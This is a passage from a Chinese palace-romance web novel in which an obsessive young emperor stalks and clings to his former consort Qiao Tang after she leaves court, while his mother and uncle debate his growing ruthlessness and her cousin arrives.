她越过裴承珏,掀开车帘要下车去,身后抚来一掌,将揽她入怀中,急切的拥抱缠紧了她,叫她喘不过来气。 “是朕糊涂说错了话,朕怎能和魏清砚一样……” 乔棠使力推开他,不想一掌推到他胸口上,他当即痛苦闷哼,一下阖上眸子晕了过去,半个身子都靠在了乔棠身上。 乔棠瞥见他胸口渗出的血迹,惊得直叫侍卫上车过来抱他,直将他抱下车送进宅院里去了。 乔棠又命几个侍卫回宫请太医过来,随即进了前院的寝房,看着躺在寝床上陷入昏迷的裴承珏,一半忧惧,一半烦躁。 待几个太医来了,忧心忡忡地重新为裴承珏处理了伤口,又开了方子熬药,一通忙活下来,已是落日西沉。 乔棠索性让太医们照顾裴承珏,带着丫鬟小厮远离寝房,去了后院待着。 也就不知,裴承珏在太医端药进房时,唰得一下睁开了眸子,自己起身靠在床头,把太医惊得险些甩了药碗。 “陛下醒了!” 太医们过来拜见,看着裴承珏喝了药,垂头劝道,“陛下纵使年轻身子强,受了这般重的伤,也应好生歇息。” 裴承珏不置可否,叫太医们退下,又派侍卫回宫传话,“告知母后,朕不会回去,让母后将太和殿的姑娘遣送回家。” 乔棠只当太后没有拦住他,却不知他行了籍田礼后,压根没回宫。 原来王统领放乔棠出了太极宫,左思右想还是觉着最好谨慎些,遂命人出宫禀报裴承珏。 裴承珏一听心生怀疑,当即命程肃去查,知晓乔棠要走,自是气极,带着御林军追了过去。 是以太后压根没有机会见到裴承珏。 她还琢磨好了如何拦住裴承珏,午时时不见裴承珏回来,派人去探消息,却被得知裴承珏下了令,任何人不得出宫。 她当时便觉不对,又苦无法子,也不肯放弃,咬牙坚持到天幕黑沉下来。 眼下顾玉清等姑娘等得疲倦不堪,但窥着太后黑沉面色,谁都不敢吱声。 还是素兰姑姑进来打破了寂静,她躬身低语,“陛下派侍卫回来带话。” 听罢裴承珏之言,太后气得胸前起伏,眼前阵阵发黑,正欲发火,殿外传来禀报,“启禀太后娘娘,镇国公求见。” 太后压下怒火,在偏殿见了镇国公,镇国公双鬓已然泛白,伏地就是一跪,“老臣恳求太后娘娘莫要再插手陛下与惠贵妃一事!” 太后怒火再也抑制不住,“陛下是不是去追惠贵妃了!” 镇国公抬头,眸中红丝密布,将种种情景与太后一说。 太后听到裴承珏受伤,火气乍然消散,心疼得泪落如雨,“这个傻孩子,惠贵妃哪里值得他这样!” “陛下在哪里,哀家要见他!” 太后疾步要出殿去,被镇国公喊住,“陛下不愿回来,太后还不知晓原因么?” 太后不可置信地回头,“兄长意思是哀家逼得他不回来?” “分明是他被惠贵妃迷了心神,先前不顾颜面也就罢了,今日是连命也不要了!” “这一切不都是惠贵妃的错么!” 镇国公缓缓吐气,起身拦住她的前路,“不是惠贵妃蛊惑,是陛下真心喜欢惠贵妃,不想放惠贵妃离开。” 也正因此,如果此事处理不好,他儿子早晚得死在这件事上,他想起儿子断了的那只手,虽是接了回来,可以后也废了,难免心痛不已。 他抖唇将事一说,太后骇得面上血色尽失,摇着头不敢承认,“陛下不会如此的,他、他并非是心狠手辣的人啊!” 镇国公逼迫她接受事实,“陛下大了,太后不能用看孩子的目光看他了,惠贵妃只是个开始,往后在其他事上,他也会变得心硬如铁。” “妹妹,他已是快成年的天子了,一个成年男人,手握天下,会是什么模样,妹妹不清楚么?” 太后瞬时想起先帝,那个薄情狠绝的男人,可是,她试图辩驳,“他是我的儿子啊……” “那就满足他,不要和他对着干了,他愿意择妃么?他不愿意,故而不出现,直接扫了你太后娘娘的颜面,你已经动摇不了他了。” 太后失神地立着,半晌说不出话来。 镇国公替她做了决定,命宫人将太和殿的待选姑娘都送回家去。 太后没有阻拦,喃喃道,“哀家也是为了他好,惠贵妃心里没他,他强求不出好结果的。” “那就让惠贵妃心里有他,妹妹,这才是你该做的事,你一贯糊涂,疼儿子也不知怎么疼,往后只做到一点就可以了,那就是让你儿子快乐。” 太后不再言语,镇国公叹气,“眼下惠贵妃没有回宫,也未离京,老臣看陛下不会放弃的,妹妹不要再插手了,此事交给老臣处理。” 太后又落下眼泪,“他怎么这么不像先帝啊,也不像哀家,他怎能为了一个女人闹到这份上!” 镇国公也是怅然,先帝薄情,喜新厌旧,从不在女人身上留情,他这妹妹心中空空,一生未尝过情爱,这样的两人竟生出了一个情种。 真是造化难料。 太后看向镇国公,“兄长,先前哀家思虑不周,牵连到了清砚,陛下这才伤了清砚,哀家对不住兄长。” 镇国公默然,听她道,“兄长心里有怨气也是对的,还望兄长不要不认陛下,陛下就兄长一个舅舅,若非此事,陛下他是极为顾念兄长的。” 镇国公神情一凛,“在陛下面前,我先是臣子,不是什么舅舅。” 他对着还想再说话的太后躬身行礼,“还望太后娘娘明白老臣今日的话,老臣先行告退了。” 太后怔然立着,目送他离开。 镇国公一路出了皇宫,坐上马车回了镇国公府,国公夫人迎上来,急道,“事情说得如何?” “太后娘娘应下来了,我们去见清砚。” 两人去了松风院,魏清砚还未歇下,坐在窗下,断了的那只手被纱布包裹着,见了两人过来,微微一笑,“母亲,父亲。” 国公夫人望着他的笑,微微颔首,和镇国公一起坐在椅子上。 夫妻两人看着不再冰冷,柔和下来的儿子,心底宽慰不少。 就是儿子断了的手让两人难受,魏清砚察觉到,立在两人跟前道,“不过是不能用了,也不是大事,且不必为儿子难过。” 镇国公收住酸胀情绪,笑道,“清砚说得极是,我已经和太后娘娘说好了,你与陛下和惠贵妃之间的事,她不再插手,我来处理。” 魏清砚眸光微闪,在他们对面坐下来,低眉思付良久,终是坦诚心迹,“昔年我亏欠棠棠,今番遇到陛下磋磨,也是还了对棠棠的亏欠,还请父亲母亲不要埋怨棠棠。” 国公夫人唇角一动,想起那个温婉柔美的姑娘,自己也曾为了儿子为难过她,不由叹气,“母亲哪里会怪她,若不是她……” 她知晓,若不是乔棠,儿子也不会改了性子,也不会对她坦诚心意,她这样想着,笑起来,“到底是我前儿媳,我 不是小肚鸡肠之人,你且放心,哪天见了乔姑娘,我会好好和她说话的。” 镇国公却皱眉看向魏清砚,“你对乔姑娘……” “我心中依旧有她,但这话我只对父亲母亲说,此生再不坦露给别人。” 魏清砚微笑,镇国公夫妇齐齐怔住,半晌都笑起来,镇国公夫人道,“幸亏你和我说了和静仪郡主是假成亲,不然我们可害了静仪郡主。” 镇国公深深凝视着魏清砚,“不要再想着从陛下手中救乔姑娘,你不出现,对你和她都好,我会劝陛下放下症结的。” 魏清砚慢慢点头,夜里起了风,有些凉了,他对国公夫人道,“母亲衣衫单薄,还是早些歇息吧。” 国公夫人心里一暖,起身和镇国公出了书房。 两人走了一段话,国公夫人回头看着灯火下立在门口的魏清砚道,“若是没有乔姑娘,我怕是这辈子都听不到他关心我。” 她怅然道,“如果他和乔姑娘没有和离,嗐,想远了,正是有了这些事,他才得以改变。” 镇国公愁眉不展,儿子因为乔姑娘慢慢变得好了,陛下他却因乔姑娘慢慢变得坏了。 春夜虫鸣声不停,乔家宅院里,前院脚步声阵阵,皆是接了裴承珏命令往返的人。 看样子裴承珏今夜是不走了,乔棠叫丫鬟去问裴承珏情况。 丫鬟很快回来了,说,“陛下喝了药,伤势好了些,已睡下了。” 那今夜是彻底走不成了。 乔棠也不打算去前院了,只是没过多久,闻得前院砰砰乱响,她让丫鬟去问,丫鬟回来道,“是陛下在闹。” 乔棠不解,还是去了前院,迈步进房,但见太医们跪了一地,地上碎了一地的东西。 裴承珏坐在床边,面色阴沉,见她来了,容色骤变,嗓音轻柔,“姐姐来了。” 太医们出去了,乔棠也不靠近床边,远远地看过去,“陛下若想撒气,可回宫撒去,我这地方小,不够陛下砸的。” 她哪里知晓,裴承珏见她一直不过来,也不关心自己,故意闹出地的这一出。 只是想引她过来,好好看看她罢了。 哪怕她冷眉讥讽,裴承珏也想看,裴承珏抿抿唇,低声道,“姐姐,朕渴了。” 乔棠看向门外,发觉空无一人,也没个能用的丫鬟,再不想接近裴承珏,也只好倒了杯温茶,步过来递给裴承珏。 裴承珏看着她,眸子的光亮亮的,“太医说,朕要好生歇着,手臂也不要累着。” 乔棠真想骂他有病,“刚才没用手砸东西?” 这么拙劣的理由,真是不中用,裴承珏心里不满,可他纵使被拆穿了,也不抬袖接茶杯,只定定地看着乔棠。 一双眸子满是渴求。 乔棠无动于衷,只想撇清两人关系,喂裴承珏茶水,那是惠贵妃会做的事。 她已经不是惠贵妃了。 裴承珏显然接受不了,一双发亮眸子暗淡下去,掌心慢慢地攥成拳头。 为什么一点点爱也不给他? 明明只要一点点就好了。 只要有一点点爱,他也会变好的。 可是没有,裴承珏眼睁睁看着乔棠转身走回去,将茶水放在桌子,也不回头,“陛下渴了就自行过来……” 话未说完,唇瓣被掌心捂住了,她猝然回头,看见裴承珏眸子一片阴郁,心知他又生气了,也不惯着他了,抬袖拂掉他的手,冷声道,“陛下受伤了,还是回床上坐好吧!” 裴承珏竭力忍着强要的冲动,转过身,气道,“朕喝水,不行?” 拿起茶杯一饮而尽,末了,随手一扔,啪嗒摔地上碎了。 乔棠原本要当没看见,忽见裴承珏连鞋也没穿,就那么赤足要走过去,也不避着碎片,无奈道,“陛下注意脚下。” 裴承珏身形一顿,眸子发亮地回头望来,然后直接地一脚踩上碎片,看着乔棠反应。 乔棠不可思议地走过去,看着他流血的脚,只觉他真是不怕死啊,还嫌今天流的血不够多? 裴承珏却笑起来,浑身再无郁气,“朕脚伤了,姐姐扶朕上床吧。” 第50章 他这摆明了想要和乔棠亲近,伸臂去握乔棠的手,乔棠转身避开,“脚伤了应叫太医。” 她径自出房喊了几个太医过来,也不管裴承珏如何,自己回后院去了。 几个太医进房,但见裴承珏黑发披散,脚下流血,冷冷地立在那里,一时惊惧低头。 沉默中,先前教乔棠敦伦之道的那太医眼珠一转,率先开口道,“陛下伤了身体,于惠贵妃也无益处。” 裴承珏凉涔涔的目光掠过来,那太医近前低语几句,裴承珏眉峰一拢,叫其余太医近前,命令道,“无论是胸口还是脚,朕都不能留疤。” 太医们应下。 再说乔棠回了后院,思及这宅子还是裴承珏买的,裴承珏眼下又住下来,以他缠着自己的劲儿,指不定就不走了。 既已如此,还是她走吧,到时另觅住处。 她叫了乔家的丫鬟小厮过来,让他们收拾东西,只待明日天亮即走。 次日休沐,无须上朝,一早前院并无动静传来,只有侍卫们守在各处。 乔棠思付一下,领着丫鬟小厮往后门去了,不想后门防备更严,她和丫鬟小厮被挡了回来。 眼看侍卫去禀报裴承珏了,乔棠心头烦躁。 很快裴承珏赤足而来,黑发也未束起,散乱地搭在颈肩,披着宽袍大袖,应刚从榻上下来。 乔棠冷眉,“陛下何故拦我?” 裴承珏眼神沉沉,真觉不如死了。 昨夜他孤枕难眠,心间都是乔棠,身体也想念乔棠,恨不得抓乔棠过来抱在怀里。 他真有那么一瞬想不顾一切地强迫乔棠,他是高高在上的天子,这天下都是他的,何况一个小小的乔棠? 但到底忍住了,他不想做叫乔棠生气的事了,他苦苦捱着,没成想一早乔棠又要丢下他。 此刻他不发一言地盯着乔棠,满心都是想抱乔棠,想亲乔棠,想得五脏六腑都在疼。 乔棠哪里知晓他的欲念,烦躁之余生出火气,她想离开裴承珏,怎就这么难! 她道,“我与陛下关系已清,不好住在陛下的宅子里,欲去寻新的宅子,还是说陛下希望我没地方住,就此离京?” 她说得决绝,言辞间只想离开,对裴承珏只如陌生人,偏偏裴承珏只想渴求她,“姐姐让朕抱一下,亲一下,朕就放姐姐去寻宅子。” “陛下在说什么胡话?” 乔棠已不再信他,却没参透一点,普天之下,莫非王土,这京中的宅子都可以是他裴承珏的,他纵放了乔棠,转瞬即可跟上。 “姐姐尽可信朕。” 裴承珏微眯双眸,缓步过去,一臂揽过乔棠。 怀中不再空空,他的心头一瞬满足了,双臂摁住乔棠的挣扎,鼻尖嗅着乔棠身上的清香,心腔快乐地颤动。 “姐姐别动,朕还没亲。” 薄唇轻触乔棠面颊,乔棠只觉一滴露珠轻润落下,很柔和,很虔诚。 不过抱一下,亲一下,裴承珏眼眶一下红了,像得到了梦寐以求的无价之宝。 乔棠震惊地忘了推开他,他本来有得寸进尺的机会,转念一想,且先取得姐姐的信任。 他遂松了乔棠,示意侍卫让出一条路,对乔棠微微一笑,泛红眸子显出温柔。 “姐姐快去寻宅子吧。” 乔棠回过神来了,只觉裴承珏又在发疯,且花样真多啊,一天一个样。 今日这模样就像个粘了砂糖的甜美点心,看着表皮是甜的,但她要信了,一口咬下去,能毒死她。 她一句未言,毫不犹豫地带着丫鬟小厮出了后门。 裴承珏目送她离去,回味着适才那个吻,眸子更红了。 可惜乔棠身影毫不留恋,叫他暗暗咬牙,姐姐待他可真狠心。 他转瞬又想,狠心就狠心罢,他也不介意,他得好好缠住姐姐,看姐姐能狠心到何时。 他抬袖招来一人吩咐,“叫程肃跟着惠贵妃。”旋即转身回房了。 看着空落落的房间,他又开始回味适才的怀抱,孤身坐在桌前不语。 眸子本就红着,又阴着个脸,容色还因伤白着,真瘆人得紧,哪里还有刚才冲乔棠 微微一笑的温柔模样? 立在门边的侍卫觑了一眼,险些吓没了魂儿,心道陛下真是在惠贵妃面前单独一个样儿,惠贵妃一不在,陛下就遮不住浑身的暴戾怨气了。 约莫到了午时,程肃过来禀报,“惠贵妃寻到了汾河街上的宅子住下,属下已命人清扫隔壁宅院,请陛下移驾。” 裴承珏起身就走。 这厢乔棠还在满意新赁的宅子,即可住下了,殊不知一墙之隔,裴承珏也已跟了过来,还带着几个太医。 几个太医原本见他不肯好生养伤,忧心忡忡,不想裴承珏嫌弃自己伤痛耽误翻墙看乔棠,命令道,“得快些将朕治好。” 几个太医使尽看家本领,又好歹劝他养了两日,总算伤势好了些许多,能让翻墙看乔棠了。 这一日,他派去寻王嬷嬷的人带着王嬷嬷回京了,他命人将王嬷嬷送去乔棠那里,随后坐在墙头上,屈起长腿,往下看去。 隔壁院中,乔棠见了王嬷嬷自是欢喜,直抱着王嬷嬷不松,秀美面颊滚下泪珠,楚楚动人,惹人怜爱。 裴承珏直勾勾地盯着,眸色幽暗,又见乔棠不哭了,展颜一笑,极为开心的模样,心脏不由砰砰乱跳。 好似回到了初见乔棠的那日,他的心脏也这样砰砰乱跳,那时也是快乐的。 现在也是快乐的。 为乔棠的开心而快乐。 这一瞬里,他太想亲近乔棠了,急急地跳下墙头,牵扯伤口也不见他皱眉,反而疾步出了院子,直到乔棠门前。 要迈进去时,步子骤然一动,一股陌生的思虑阻止了他,告诉他,惊着姐姐了,姐姐不开心,一点爱也不肯施舍给自己,自己也会不开心的。 他慢慢退回了宅子里,步到墙根下,耳边似乎能听到乔棠的笑声。 墙那边,乔棠确然极开心,王嬷嬷回来了,乔家仆人也都在,虽说她不能离京,领着她们在京中过日子也是可以的。 她想起她还缝了荷包给王嬷嬷,去房中找出来,递给了给了王嬷嬷。 王嬷嬷笑眯了双眼,“姑娘手巧,好看着呢!” 乔棠忽地思及裴承珏说他手艺差,牵起唇角,抱住王嬷嬷道,“还是王嬷嬷疼我。” 晚间用过饭后,她忽觉胃部不适,翻搅得难受,倚着王嬷嬷呕个不停。 好不容易停了,她的眸中已泛出泪花,王嬷嬷心疼地带她去洗漱。 待收拾干净了,王嬷嬷望着她有些泛白的面色,眼皮子猛跳,紧张得一口气提到嗓子眼。 她回来后,乔棠自将一切都告诉了她,她震惊于裴承珏的变化,可内心还是笃定一点:陛下待她姑娘的情意是没变的。 她思付着问,“姑娘怎突地吐了起来,不若寻个大夫过来看看?” 乔棠蔫蔫的,没什么精神,“胃里不舒服,前阵子喝药也是这般,今晚约莫吃得不对。” 王嬷嬷心里存个疑影儿,“姑娘月信该来了吧?” “就这几日了。” 乔棠疑惑地望过来,像是在问怎问这个,王嬷嬷哦了一声,随意找个理由搪塞过去了,心底七上八下。 当夜乔棠有了王嬷嬷的陪伴,睡得极为踏实,王嬷嬷离去后,她仍沉沉睡着。 夜深人静,皎白月色下,裴承珏难忍榻间没有乔棠,坐在墙头上,久久不下去。 视线落在乔棠那房的窗户。 半晌,他到底没忍不住,跳下墙头,径自来到乔棠窗前,翻墙进去了。 步到床榻前,撩开纱帐,月色照出了乔棠睡颜。 他在床前矮凳上坐下,上身靠着床,看着乔棠的睡颜慢慢睡去了。 翌日,乔棠一觉醒来,因睡得足,精神很好,她起了床,洗漱过后步入花厅。 早早出去的王嬷嬷欢天喜地地回来了,直奔进厅中,朝她笑道,“姑娘快看谁来了!” 乔棠询声望去,但见一个少年迈步进来,面相极为周正,瞧模样不过十七八岁,身材倒是魁梧有力,立在门边,遮了大半的日光。 他甫一看见乔棠,面容就显出激动,但很会克制,转瞬变得平和,步子沉稳地走过来,在乔棠面前低下身子,温驯得很。 “表姐,一别三年,一切可好?” 乔棠原有些怔然,听到他喊表姐,眸子微微瞪大,脑中闪出一个人影,迟疑地喊,“柳彰?” 柳彰眉眼舒展,“是我。” 乔棠当真震惊,王嬷嬷走过来,揽住她的纤肩道,“不怪姑娘惊讶,适才我也震惊,一晃三年过去了,表少年简直变了个模样。” “是呀,变化真大。” 乔棠唇角牵起,笑颜柔婉,她还记得以前柳彰身形瘦小,总是喜欢跟在她身后喊表姐,她也因此格外照顾这个表弟,不过三年,竟长得这般高大了。 柳彰将身子放得更低了,他其实离乔棠有些近了,但奇怪的是,他分明身躯魁梧,却没有任何攻击力,笑容如温水和润。 “表姐倒是没变,一如往昔。” 裴承珏下了朝,自宫中回了宅院,刚翻墙坐下来,目光瞥向花厅窗户,面容倏地一沉。 哪里来的死人,离姐姐这么近!魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 50-55 第51章 若搁以往,他必要问个明白,但瞥见乔棠迈出门时那唇角笑意,纵使再妒火烧身,他也学乖了些,转身跳下墙,叫来程肃。 程肃的人早已在乔家宅子周围布着,惠贵妃房内动静是不敢窥探的,只着意门前院内动静,是以只听见王嬷嬷领着柳彰进宅子时的交谈声音。 程肃遂禀报裴承珏,“听王嬷嬷言谈,应是惠贵妃家的表少爷。” 裴承珏思付,先前从不曾听姐姐提家中亲戚,他探查乔棠时也无心知晓这些,看来他对姐姐了解得还不够深。 他当即命程肃去查这个表少爷,以及乔棠在冀州的所有亲戚。 程肃领命去了,他犹觉不满足,程肃饶是再手段了得,探查一个人的信息也需要时间,他没有耐心等下去了。 而京中对乔棠亲戚有所了解的只有魏清砚了,他旋身下令,“叫魏清砚过来一趟。” 侍卫将命令传达到国公府,镇国公夫妇忧惧不已,魏清砚见一次裴承珏,可谓脱一层皮,也不知这次会是个什么结果。 魏清砚则面色平静,镇国公不忍他独自去,“我原也要见陛下,一道去。” 两人到了宅院。 似乎要变天,天幕云层渐厚,清透日光被遮去,墙下光线昏淡下来。 裴承珏身着常服,抱臂立在那里,本该意气风发的年纪灰扑扑地笼着一层压抑,华贵张扬的眉目浮出叫人心悸的躁郁。 明眼人都看得出来,他身上威压太重,这几日上朝时那种暴虐眼神都快把朝臣撕碎了,再没有人管住他,朝政恐怕不稳了。 镇国公在心里叹气,瞥了一眼身侧魏清砚,思及儿子也夜夜为惠贵妃颓然,面上又愁苦几分,这对表兄弟怎就钟意同一个女子了! 天幕阴下来了,裴承珏视线也显得幽暗,淡淡睨过来。 两人容色一正,疾步过去,伏地跪在他的脚下,“臣等见过陛下。” 此时已只有君臣,没有甥舅,更无表哥。 裴承珏面容冷然坚毅,下垂视线静静地落在两人身上。 无形的君威压下,叫镇国公想起了先帝,不由心间凄凄,这个他从小看着长大的孩子,终是到了这一步。 太后一贯认为先帝作为天子,薄情狠绝,手腕无义,却没参透自己儿子,以为儿子只是年少不知事,耽于情爱。 实则趋于成年的裴承珏已越来越像先帝了,无师自通地学会了以狠绝的君心镇压朝臣,只是对乔棠的痴迷过于外露,叫太后看错了眼。 镇国公却深知这些,头颅臣服地垂下,裴承珏没什么表情地收回视线,“起来吧,镇国公且坐。” 镇国公去院中石桌上坐下,裴承珏跳上墙头,透过 敞开的窗户,看向花厅坐着的乔棠,眸色漾出痴迷。 “魏卿上来。” 魏清砚神色一动,他从未翻过墙,有些费力地上去,顺着裴承珏的视线望去,倏地眉头一皱。 花厅里,乔棠对这两个男人的动静一无所知,她适才带柳彰用过早饭,这会儿在花厅闲话。 对于柳彰这个表弟,她有四五年未见了,疑惑道,“适才表弟何故说一别三年?” 柳彰眸光一闪,低下头去,“三年前我曾回冀州一趟,因有急事在身,只匆匆见了表姐一眼,未来得及叫表姐知晓我回去,就又离开了。” 乔棠恍然大悟,见他低头温驯,如昔年般还是那样乖顺,笑了一声,看来这个表弟只是长了身体,性子没变。 柳彰闻声抬头,面容微红,“虽年年不得与表姐相见,但我心里仍牵挂着表姐。” 声音忽地一沉,“几个月前我再去冀州,本想想见见表姐,竟得知表姐与表姐夫和离,表姐夫不幸坠崖,表姐也来了京中。” 他担忧地望来。 乔棠心里一暖,这个表弟还是记着她的,往年也算没白疼他。 她笑道,“倒不必为我伤神,我与温璟和离也是顺其自然,此事都过去了,至于温璟坠崖而死,原是个误会,他现今还活着呢。” “原来是我听错消息了,叫表姐见笑了。”柳彰低眉掩去眸中异色,唇角抿了抿,“我乍然一听,担心表姐,故而赶来京中寻表姐,也是我运气好,才到京中一月,就在街上碰到了王嬷嬷。” 乔棠讶然,竟是单为寻她而来。 她望向身边的王嬷嬷,王嬷嬷揽过她的手臂,笑道,“表少爷有心了,千里迢迢来寻我家姑娘,一路上也吃了不少苦头,若是京中没有住处,不妨就此住下。” 柳彰转过头,对乔棠温和一笑,“表姐不嫌我叨扰就好。” 王嬷嬷捏了捏乔棠的手,乔棠顺势笑着摇头,叫丫鬟为柳彰清扫房间,又叫小厮陪柳彰去客栈收拾东西。 整个天幕光线昏淡了,空中飘起牛毛细雨,撒下墙头。 墙上,裴承珏眉眼被细雨浸湿,不减丝丝冷意,视线直直掠向魏清砚。 魏清砚声音泛冷,“是惠贵妃的表弟,柳彰。” 镇国公烦心地看着天幕,见两人跳下墙,眸中透出忧惧。 裴承珏在墙下,在雨丝中似笑非笑,“只是表弟,魏卿脸色何必这么难看?” 魏清砚垂眸回禀,“陛下冷静,臣只是想起往年与柳彰有些嫌隙,心中不喜。” “说。” 魏清砚只得将所知的一一道来。 说来这个柳彰乃是乔棠姨母的儿子,乔棠母亲原有个妹妹,远嫁青州柳家,不想生下柳彰后,夫君变心失德,一封休书打发了她们母子。 她们母子无处可去,只能回冀州投奔乔母,爹娘已逝,乔母唯剩妹妹一个亲人,自然对妹妹照顾有加,让这对母子在乔家住了下来。 乔棠又无兄弟姐妹,柳彰突然出现,生得瘦小,性子温顺,日日喜欢跟在她身后,她遂心生怜爱,对柳彰多有照拂。 如此生活了三年,乔母妹妹无法忘却夫君无义,郁郁而终,同年青州柳家找上门,说是柳家自柳彰后一直无嗣,硬是将柳彰要了回去。 柳彰自此离开了乔家。 倒是没什么特殊之处,裴承珏听到此处,知晓魏清砚还有话未说,视线冷冷地刮了过去。 魏清砚只得道,“乔夫人在柳彰母亲去世前,为让柳彰母亲安心走,不再牵挂柳彰,便说给惠贵妃和柳彰定亲,让柳彰在乔家住一辈子。” 裴承珏冷嗤一声。 魏清砚道,“只是个安慰将死之人的说法,乔家不当真,惠贵妃也未当真,但柳彰当真了。” “三年前他突然回冀州,被臣发现他对惠贵妃心思不纯,臣就把他赶出了冀州。” 魏清砚提及旧事,并未遮掩,裴承珏挑眉,缓缓露出一个乖张笑容,“魏卿,朕小瞧你了。” 他指了指墙那边,“你说眼下怎么办?” 魏清砚眼皮一跳,还未言语,镇国公察觉不对,慌地步过来,“陛下,老臣要回边关了,有些话想和陛下说。” 裴承珏敛起笑意,“何时回?” 镇国公据实以告,“再过十日,清砚生辰过后,老臣即可动身。” 裴承珏一听,原没在意,忽地眸色一震,面上闪过不可置信。 脑中乍然闪出去年勤政殿燃起的炭火,还有太后那声叫他痛苦的质问—— “陛下与魏清砚生辰不过隔了几日,听太极宫的人说,惠贵妃亲手缝了一条腰带,这条腰带是送给陛下的还是魏清砚的?” 他张口急问,“魏卿生辰不已过了?” 镇国公不敢不答,“回陛下,按照京中这边,清砚生辰已过了,只是清砚年年也不按京中过,他顾念冀州的温家,按温家那边生辰过。” 裴承珏绷紧身躯,袖中手掌紧张得轻抖,他颤了颤唇角,视线扫向魏清砚,声线低低的。 “惠贵妃可知晓?” 魏清砚与镇国公都觉出他的异常,却又不是要暴戾发怒的异常,是那种小心翼翼怀着期待、不敢信又想要的紧张。 魏清砚谨慎道,“惠贵妃只知温家生辰,不知京中的。” 这话一落,两人只见裴承珏面色惊变,立得直直的身体一晃,随即懊恼地以手覆面,步履极快地出了宅院。 父子两人对视一眼,镇国公心间惶然一松,陛下虽行迹奇怪,可到底没发火,饶了儿子一回,那些话他且等日后讲吧。 春雨绵绵而下,落了裴承珏一身,裴承珏恍若未觉,跨马奔回宫中。 及至太极宫,他浑身皆湿,一身狼狈,一阵风似地掠进寝殿。 宫人已对他近日发狂情状屡见不鲜,屏气凝神地听着寝殿砰砰乱响的动静。 裴承珏不管不顾地将寝殿翻了一个遍,还是没寻到那条腰带。 先前他那么痛恨那条腰带,随手一扔,弃之如敝,眼下寻不到,他急得红了眼,气急败坏地一把扯碎了纱帐。 忽瞥见床榻间滚落的夜明珠,眸光闪出一丝希冀,探身在榻间翻找,从床头细细地翻到床尾。 直到翻出了程英备好的匣子,也翻出了那条腰带。 他一怔,继而大笑一声,姐姐好可爱,怎么喜欢在床尾藏东西? 他急切地将腰带拽出来,紧紧攥在掌心中,心腔止不住地狂跳,这是姐姐缝给他的,给他的。 姐姐心里有他! 他欢喜起来,被细雨浸湿的眉眼再没了沉郁,骤然生出鲜活的恣意。 忽又生出阵阵懊悔,那夜他竟混账地拿腰带捆住姐姐的手,还对姐姐说了那样的话。 原来姐姐现在冷眼待他,都是他自作自受,活该而已。 他褪下湿透的衣袍,将长长的腰带缠满了臂膀,下榻换上了干净衣袍,步出寝殿时,心头轻快许多。 什么魏清砚,什么刚才的柳彰,他统统不在意了,他再不会因旁人妒得发狂,伤了姐姐了。 可同时步子是沉重的。 从此,在姐姐面前,他只有比任何人都要好,都要乖,姐姐兴许才会给他一点点爱。 第52章 天幕如灰蓝绸缎,细密雨丝中,柳彰带着包袱同小厮回来了,王嬷嬷领着他去了后院房中。 雨丝斜飞入窗,湿了乔棠鬓发,她也不在意,在窗下坐着,慢慢地缝荷包。 她似乎和荷包较上劲儿,一连缝了几个,手上还有没缝完的一个。 王嬷嬷从后院过来, 将敞开窗户关了一半,步进来纳闷地问,“姑娘缝这么多荷包做什么?” “闲来无事,打发时间。” 乔棠笑了笑,让王嬷嬷坐在她身边,王嬷嬷不愿她累着,接过针线替她缝着。 她将脑袋倚在王嬷嬷肩头上,手中把玩着笸箩中布块,心头浮出些许忧虑。 “表弟千里迢迢来京中寻我,我是该关照,但表弟年岁也大了,应有十八了,也不知议亲了没,和我住在一座院落里,是否不妥?” “姑娘多虑了,对里对外,你们都是表姐弟,恪守个人本分,旁人不会说闲话的。” 王嬷嬷笑道,“表少爷又是个温和性子,住下来定本分不惹事端,何况自老爷夫人去了,姑娘又无兄弟姐妹,家里也没个男丁照拂,嬷嬷就希望着表少爷日后能撑个事,替姑娘分忧。” 乔棠思付一番,王嬷嬷说得也对,身边多个亲人也是好的,她慢慢坐直身子,回身摸向案上茶水,低眉抿了几口,忽觉有些作呕。 她神色微变,不欲叫王嬷嬷知晓,不动声色地忍下来,将茶杯放了回去,默然地低眉不语,心头烦躁得不行。 王嬷嬷窥着她的神色,心底也是焦急,视线隐晦地扫了一眼她的肚子,正欲提月信一事,丫鬟过来道,“姑娘,门外、门外……” 大抵来了什么人,乔棠眼皮一跳,预感不妙,按住要起身的王嬷嬷,“嬷嬷坐,我去看看。” 说罢出了房门,天幕雨丝密了,落下来能很快湿了衣物,她遂接了丫鬟递过来的油纸伞,一手撑开举着,往大门处去。 还未至大门边,已见裴承珏立在门外,并无随从打伞,只他伶仃地在雨中,望见她缓步过来,被雨丝打湿的阴冷眉眼柔和下来。 “姐姐。” 乔棠容色骤冷,收了伞面,立在屋檐下,她早该知晓,只要裴承珏不放弃,她在京中换多少宅子都无济于事。 比起裴承珏的紧跟不放,她的反抗多么渺小无力,她唯一能做的,只有摆起不容置疑的冷漠态度,好叫裴承珏死了这条心。 她遂抬起双眸,曾经蕴着春水柔情的眸内如覆寒霜,海棠面容上的疏离也如薄冰,一并呈现在日光下,明晃晃地刺向裴承珏。 她期待着裴承珏受不住她这模样,像在宫中一样,先是恼怒,而后拂袖而去,自此再不出现。 没成想,裴承珏神色不变,炽热目光定定望来。 一手探进另一只袖中手臂上,轻轻地摩挲着那腰带,心头一阵阵发甜。 又暗骂先前自己不知好歹,怎能生气姐姐的冷脸呢? 分明姐姐的冷脸也是对他的恩赐。 这般想着,他扬起俊眉,一双黑眸不仅没有被乔棠的寒意刺到,反而微微一弯,露出一个去年春日才有过的朝气笑容。 可是去年的春日在乔棠心中已过去很久了,她只恍然一瞬,接着秀眉一拧,别过视线,想要转身时耳边传来一声。 “姐姐,朕的脚疼,能进去歇歇么?” 曾经,乔棠因裴承珏为自己伤了脚而愧疚,裴承珏不屑一顾并恼怒,这一刻,这份愧疚成了他的救命稻草。 雨丝成了雨珠,啪嗒落下来,滴在他额间眉峰,他并不觉狼狈,炽热视线密密地笼向乔棠。 乔棠转动泛冷的眸子,见道上空无一人,真无随从服侍裴承珏,觉出这是裴承珏靠近自己的手段。 她心头烦躁愈盛,低眉思索,“不是说不疼?” 她拿以前宫中裴承珏的话堵过去,裴承珏没有丝毫难堪,反倒眸子越发亮了,“疼,先前是朕嘴硬,在姐姐面前硬撑而已。” 他也不等乔棠同意了,疾步迈上台阶,长臂捞过乔棠手中雨伞,笑容坦诚热烈,“朕给姐姐打伞。” 乔棠瞥了一眼他的笑容,忽地胃里一阵翻涌,适才饮进去的茶水作祟,直涌向她的喉头,叫她难受得张口作呕起来,一手抚向房门。 